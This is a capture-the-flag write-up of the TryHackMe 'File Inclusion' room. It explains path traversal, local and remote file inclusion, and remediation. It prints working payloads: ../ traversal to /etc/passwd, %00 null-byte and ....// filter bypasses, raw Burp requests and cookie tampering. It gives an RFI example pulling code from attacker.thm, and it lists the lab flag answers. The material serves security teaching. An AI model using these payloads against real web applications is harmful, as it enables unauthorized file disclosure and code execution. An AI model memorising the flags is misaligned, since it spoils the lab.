# File Inclusion_TryHackMe - Writeups :::warning :bulb:This room introduces file inclusion vulnerabilities, including Local File Inclusion (LFI), Remote File Inclusion (RFI), and directory traversal. ::: ![image](https://hackmd.io/_uploads/rkqV-xp7bg.png) ###### :small_blue_diamond:27/12/2025 ## 🎉 Welcome :::info Join with host https://tryhackme.com/room/fileinc ::: ## 🔎Introduction **What is File inclusion?** This room aims to equip you with the essential knowledge to exploit file inclusion vulnerabilities, including Local File Inclusion (LFI), Remote File Inclusion (RFI), and directory traversal. Also, we will discuss the risk of these vulnerabilities if they're found and the required remediation. We provide some practical examples of each vulnerability as well as hands-on challenges. In some scenarios, web applications are written to request access to files on a given system, including images, static text, and so on via parameters. Parameters are query parameter strings attached to the URL that could be used to retrieve data or perform actions based on user input. The following diagram breaks down the essential parts of a URL. ![image](https://hackmd.io/_uploads/Bkkyvl6mWe.png) For example, parameters are used with Google searching, where GET requests pass user input into the search engine. `https://www.google.com/search?q=TryHackMe`. If you are not familiar with the topic, you can view the [How The Web Works](https://tryhackme.com/module/how-the-web-works) module to understand the concept. Let's discuss a scenario where a user requests to access files from a webserver. First, the user sends an HTTP request to the webserver that includes a file to display. For example, if a user wants to access and display their CV within the web application, the request may look as follows, `http://webapp.thm/get.php?file=userCV.pdf`, where the file is the parameter and the userCV.pdf, is the required file to access. ![image](https://hackmd.io/_uploads/Hk1efbamZg.png) **Why do File inclusion vulnerabilities happen?** File inclusion vulnerabilities are commonly found and exploited in various programming languages for web applications, such as PHP that are poorly written and implemented. The main issue of these vulnerabilities is the input validation, in which the user inputs are not sanitized or validated, and the user controls them. When the input is not validated, the user can pass any input to the function, causing the vulnerability. **What is the risk of File inclusion?** By default, an attacker can leverage file inclusion vulnerabilities to leak data, such as code, credentials or other important files related to the web application or operating system. Moreover, if the attacker can write files to the server by any other means, file inclusion might be used in tandem to gain remote command execution (RCE). :::success No answer needed ::: ## 🔎Deploy the VM Deploy the attached VM to follow and apply the technique as well as do the challenges. In order to access this VM, please make sure to connect to the TryHackMe network via OpenVPN or access it directly from the AttackBox, which can be launched by clicking the blue button on the top-right. Please visit the link http://MACHINE_IP/, which will show you the following page: ![image](https://hackmd.io/_uploads/SkE6GbamWl.png) :::success No answer needed ::: ## 🔎Path Traversal Path Traversal Also known as `Directory traversal`, a web security vulnerability allows an attacker to read operating system resources, such as local files on the server running an application. The attacker exploits this vulnerability by manipulating and abusing the web application's URL to locate and access files or directories stored outside the application's root directory.> Path traversal vulnerabilities occur when the user's input is passed to a function such as file_get_contents in PHP. It's important to note that the function is not the main contributor to the vulnerability. Often poor input validation or filtering is the cause of the vulnerability. In PHP, you can use the file_get_contents to read the content of a file. You can find more information about the function [here](https://www.php.net/manual/en/function.file-get-contents.php). :::spoiler file_get_contents decription ``` file_get_contents( string $filename, bool $use_include_path = false, ?resource $context = null, int $offset = 0, ?int $length = null ): string|false ``` ::: The following graph shows how a web application stores files in `/var/www/app`. The happy path would be the user requesting the contents of userCV.pdf from a defined path `/var/www/app/CVs`. ![image](https://hackmd.io/_uploads/BJyXUWT7Zx.png) We can test out the URL parameter by adding payloads to see how the web application behaves. Path traversal attacks, also known as the dot-dot-slash attack, take advantage of moving the directory one step up using the double dots ../. If the attacker finds the entry point, which in this case get.php?file=, then the attacker may send something as follows, http://webapp.thm/get.php?file=../../../../etc/passwd Suppose there isn't input validation, and instead of accessing the PDF files at /var/www/app/CVs location, the web application retrieves files from other directories, which in this case /etc/passwd. Each .. entry moves one directory until it reaches the root directory /. Then it changes the directory to /etc, and from there, it read the passwd file. ![image](https://hackmd.io/_uploads/S1rbAb6Qbx.png) As a result, the web application sends back the file's content to the user. ![image](https://hackmd.io/_uploads/HyZGA-T7Zg.png) Similarly, if the web application runs on a Windows server, the attacker needs to provide Windows paths. For example, if the attacker wants to read the boot.ini file located in c:\boot.ini, then the attacker can try the following depending on the target OS version: `http://webapp.thm/get.php?file=../../../../boot.ini` or `http://webapp.thm/get.php?file=../../../../windows/win.ini` The same concept applies here as with Linux operating systems, where we climb up directories until it reaches the root directory, which is usually . Sometimes, developers will add filters to limit access to only certain files or directories. Below are some common OS files you could use when testing. ![image](https://hackmd.io/_uploads/Hy6pCM67bx.png) ![image](https://hackmd.io/_uploads/HJtAAMpQWx.png) ![image](https://hackmd.io/_uploads/SJAH5HTQZg.png) ## 🔎Local File Inclusion - LFI LFI attacks against web applications are often due to a developers' lack of security awareness. With PHP, using functions such as include, require, include_once, and require_once often contribute to vulnerable web applications. In this room, we'll be picking on PHP, but it's worth noting LFI vulnerabilities also occur when using other languages such as ASP, JSP, or even in Node.js apps. LFI exploits follow the same concepts as path traversal. In this section, we will walk you through various LFI scenarios and how to exploit them. #1 Suppose the web application provides two languages, and the user can select between the `EN` and `AR` ![image](https://hackmd.io/_uploads/HJBBxIbEbx.png) Try search file name `welcome.php` and content showed ![image](https://hackmd.io/_uploads/BJwHcH6QWx.png) Try to read `/etc/passwd` the URL is `YOUR_ID_MACHINE/lab1.php?file=/etc/passwd` ![image](https://hackmd.io/_uploads/HJdJjBp7Wl.png) ![image](https://hackmd.io/_uploads/SysxhST7be.png) #2 Next, In the following code, the developer decided to specify the directory inside the function. ![image](https://hackmd.io/_uploads/Hy2qlUW4Wx.png) Search everything you want, in this case im going to search `/etc/passwd` ![image](https://hackmd.io/_uploads/H1FJnSamZl.png) ![image](https://hackmd.io/_uploads/rkQ-2rTQ-e.png) ## 🔎Local File Inclusion - LFI Continued #3 I'm typing `THM` it shows `include(includes/THM.php)` it's automation add `.php` at the end. Moreover, it shows me directory of file. ![image](https://hackmd.io/_uploads/SJyCillNZg.png) I used 4 `../` because we know the path has four levels `/var/www/html/lab3.php ` So the url be `/lab3.php?file=../../../../etc/passwd`. However it's stuck as it auto add `.php` ![image](https://hackmd.io/_uploads/r1FWJ-x4be.png) Therefore, im going to bypass `.php` as add `%00` or `0x00` to the end. The url be `/lab3.php?file=../../../../etc/passwd%00` :::info include("includes/" . $GET['files']. ".php"); // files = "/etc/passwd%00" // → include("includes//etc/passwd\0.php") // After "\0" no read → /etc/passwd ::: Note: the %00 trick is fixed and not working with PHP 5.3.4 and above. ![image](https://hackmd.io/_uploads/HJU36exEZx.png) Congrats, I found password file in lab3 ![image](https://hackmd.io/_uploads/BkXFp-l4Zg.png) #4 In this lab, developer was blocks string `/etc/passwd/` ![image](https://hackmd.io/_uploads/rJMaS-lNZg.png) First method: Use `%00` like lab 3, the url be `http://10.49.135.88/lab4.php?file=/etc/passwd%00` Secon method: Use trick `/etc/passwd/.` - `.` = current directory - `..`= parent directory /etc/passwd/.. → /etc/ /etc/passwd/. → /etc/passwd (not working in shell) ⚠️Advanced trick. If /etc/passwd/. not working. + Try /etc/passwd/////. (a lot `/` and `.` are valid) + Or /etc//passwd/. (`//` to messing filtered) ![image](https://hackmd.io/_uploads/S1eOT-g4Zg.png) ![image](https://hackmd.io/_uploads/H1CFa-e4Zl.png) #5 I'm going to try `THM` and `../../../../etc/passwd` ![image](https://hackmd.io/_uploads/HyZATZeNbe.png) ![image](https://hackmd.io/_uploads/SyHLR-gEZe.png) Got error ``` Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/lab5.php/ on line 28 ``` First, we can send the following payload to bypass it: `....//....//....//....//....//etc/passwd`. **Why did this work?** This works because the PHP filter only matches and replaces the first subset string ../ it finds and doesn't do another pass, leaving what is pictured below. ![image](https://hackmd.io/_uploads/ByuT0-eVbe.png) :::success No answer needed ::: #6 Following example `THM-profile/tryhackme.txt` ![image](https://hackmd.io/_uploads/r13a-fxE-x.png) ![image](https://hackmd.io/_uploads/rJmtVMlVbx.png) ``` http://10.49.135.88/lab6.php?file=THM-profile/../../../../etc/os-release ``` ![image](https://hackmd.io/_uploads/Bk8E4fx4Zg.png) ![image](https://hackmd.io/_uploads/r1wOVzx4-g.png) ## 🔎Remote File Inclusion - RFI Remote File Inclusion - RFI Remote File Inclusion (RFI) is a technique to include remote files into a vulnerable application. Like LFI, the RFI occurs when improperly sanitizing user input, allowing an attacker to inject an external URL into include function. One requirement for RFI is that the allow_url_fopen option needs to be on. The risk of RFI is higher than LFI since RFI vulnerabilities allow an attacker to gain Remote Command Execution (RCE) on the server. Other consequences of a successful RFI attack include: Sensitive Information Disclosure Cross-site Scripting (XSS) Denial of Service (DoS) An external server must communicate with the application server for a successful RFI attack where the attacker hosts malicious files on their server. Then the malicious file is injected into the include function via HTTP requests, and the content of the malicious file executes on the vulnerable application server. RFI steps ![image](https://hackmd.io/_uploads/rJzwWLbEWg.png) The figure above is an example of steps for a successful RFI attack! Let's say that the attacker hosts a PHP file on their own server http://attacker.thm/cmd.txt where cmd.txt contains a printing message Hello THM. ![image](https://hackmd.io/_uploads/B1MD-8WVZx.png) First, the attacker injects the malicious URL, which points to the attacker's server, such as http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt. If there is no input validation, then the malicious URL passes into the include function. Next, the web app server will send a GET request to the malicious server to fetch the file. As a result, the web app includes the remote file into include function to execute the PHP file within the page and send the execution content to the attacker. In our case, the current page somewhere has to show the Hello THM message. Visit the following lab URL: http://10.48.175.205/playground.php to try out an RFI attack. :::success No answer needed ::: ## 🔎Remediation As a developer, it's important to be aware of web application vulnerabilities, how to find them, and prevention methods. To prevent the file inclusion vulnerabilities, some common suggestions include: 1. Keep system and services, including web application frameworks, updated with the latest version. 2. Turn off PHP errors to avoid leaking the path of the application and other potentially revealing information. 3. A Web Application Firewall (WAF) is a good option to help mitigate web application attacks. 4. Disable some PHP features that cause file inclusion vulnerabilities if your web app doesn't need them, such as allow_url_fopen on and allow_url_include. 5. Carefully analyze the web application and allow only protocols and PHP wrappers that are in need. 6. Never trust user input, and make sure to implement proper input validation against file inclusion. 7. Implement whitelisting for file names and locations as well as blacklisting. :::success No answer needed ::: ## 🔎Challenge Great Job! Now apply the techniques you've learned to capture the flags! Familiarizing yourself with HTTP Web basics could help you complete these challenges. ### Steps for testing for LFI 1. Find an entry point that could be via GET, POST, COOKIE, or HTTP header values! 2. Enter a valid input to see how the web server behaves. 3. Enter invalid inputs, including special characters and common file names. 4. Don't always trust what you supply in input forms is what you intended! Use either a browser address bar or a tool such as Burpsuite. 5. Look for errors while entering invalid input to disclose the current path of the web application; if there are no errors, then trial and error might be your best option. 6. Understand the input validation and if there are any filters! 7. Try the inject a valid entry to read sensitive files :::info Challenges ::: #1 Capture Flag1 at /etc/flag1 :::warning :bulb: Hint: Change the form method to POST in the page source or use a tool like Burp to modify the method of the request POST. ::: This is interface of challenge 1 web-page ![image](https://hackmd.io/_uploads/BkX-xbBNWe.png) Because Hint of challenge give me that only send POST the web server can receive request. Im checking source code and see the method feature is `GET`. ![image](https://hackmd.io/_uploads/rJ1NbbrV-l.png) Now, let open burp suite tool, turn on intercept and change request to `POST`. Furthermore, attached 2 lines `Content-Type: application/x-www-form-urlencoded and Content-Length: 108` ![image](https://hackmd.io/_uploads/BkGGzWrNbx.png) ``` POST /challenges/chall1.php HTTP/1.1 Host: 10.49.182.185 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Content-Type: application/x-www-form-urlencoded Content-Length: 108 file=welcome.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close ``` Its working and show me path of directory ![image](https://hackmd.io/_uploads/B1IJSfZEZl.png) Next: now we know details path is. Changing file to see what content of flag ``` file=../../../../etc/flag1 ``` ![image](https://hackmd.io/_uploads/rJqj7ZB4Wg.png) Oh oh, its still error, maybe it adding something to the end of url. Im against it by trick `%00` ``` Now changing file to file=../../../../etc/flag1%00 ``` ![image](https://hackmd.io/_uploads/Sy8K7fZV-l.png) Congrats~~ :::success Answer: F1x3d-iNpu7-førrn ::: #2 Capture Flag2 at /etc/flag2 :::warning :bulb: Hint: Check your cookies! ::: The interface of web-page ![image](https://hackmd.io/_uploads/BysGH-S4-x.png) Following the hint of web page, Im refreshing the page ![image](https://hackmd.io/_uploads/Sy5IBZBE-x.png) Oh, just admins can access. Let check cookies ![image](https://hackmd.io/_uploads/r1pqHbBE-l.png) Change values to `admin` > refresh web. Now, im admin ![image](https://hackmd.io/_uploads/SyL3r-rEWx.png) Especially, it shows me that. It used `includes` function, automatically added `.php` in tail, and show `/var/www/html/chall2.php` path ![image](https://hackmd.io/_uploads/HkvbL-r4Wx.png) So, let change cookies value to `../../../../etc/flag2` > `F5` ![image](https://hackmd.io/_uploads/SywKwWS4Wl.png) ![image](https://hackmd.io/_uploads/Hya3DWr4be.png) :::success Answer: c00k13_i5_yuMmy1 ::: #3 Capture Flag3 at /etc/flag3 :::warning :bulb: [Hint #1] Not everything is filtered! [Hint #2] The website uses $_REQUESTS to accept HTTP requests. Do research to understand it and what it accepts! ::: Firstly, Im trying change url `file=../../../../etc/flag3`. However, its look like filtered numbers and punctuation. ![image](https://hackmd.io/_uploads/S1tQQSZEZx.png) Checked source code and see `GET` method is used in this challenge. ![image](https://hackmd.io/_uploads/ByIyt-SE-e.png) So im bypass this as use `POST` send request over the path ![image](https://hackmd.io/_uploads/SJKJrB-Ebe.png) ``` POST /challenges//chall3.php HTTP/1.1 Host: 10.48.183.255 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Content-Type: application/x-www-form-urlencoded Content-Length: 159 Referer: http://10.48.183.255/challenges/chall3.php file=../../../../etc/flag3%00 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: THM=../../../../etc/flag3%00 Connection: close ``` ![image](https://hackmd.io/_uploads/r1E0cZB4Ze.png) If you see this, that you did not change your cookies value ![image](https://hackmd.io/_uploads/ByHY9ZBVbe.png) :::success Answer: P0st_1s_w0rk1in9 ::: #Bonus challenge : Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output? Access `http://YOUR_MACHINE/playground.php` First step Im Include `THM` text ![image](https://hackmd.io/_uploads/HyfooZSVbe.png) Now, bypass to `hostname` directory with knowed path `../../../../etc/hostname` ![image](https://hackmd.io/_uploads/r1j2yU-NZg.png) :::success Answer: lfi-vm-thm-f8c5b1a78692 :::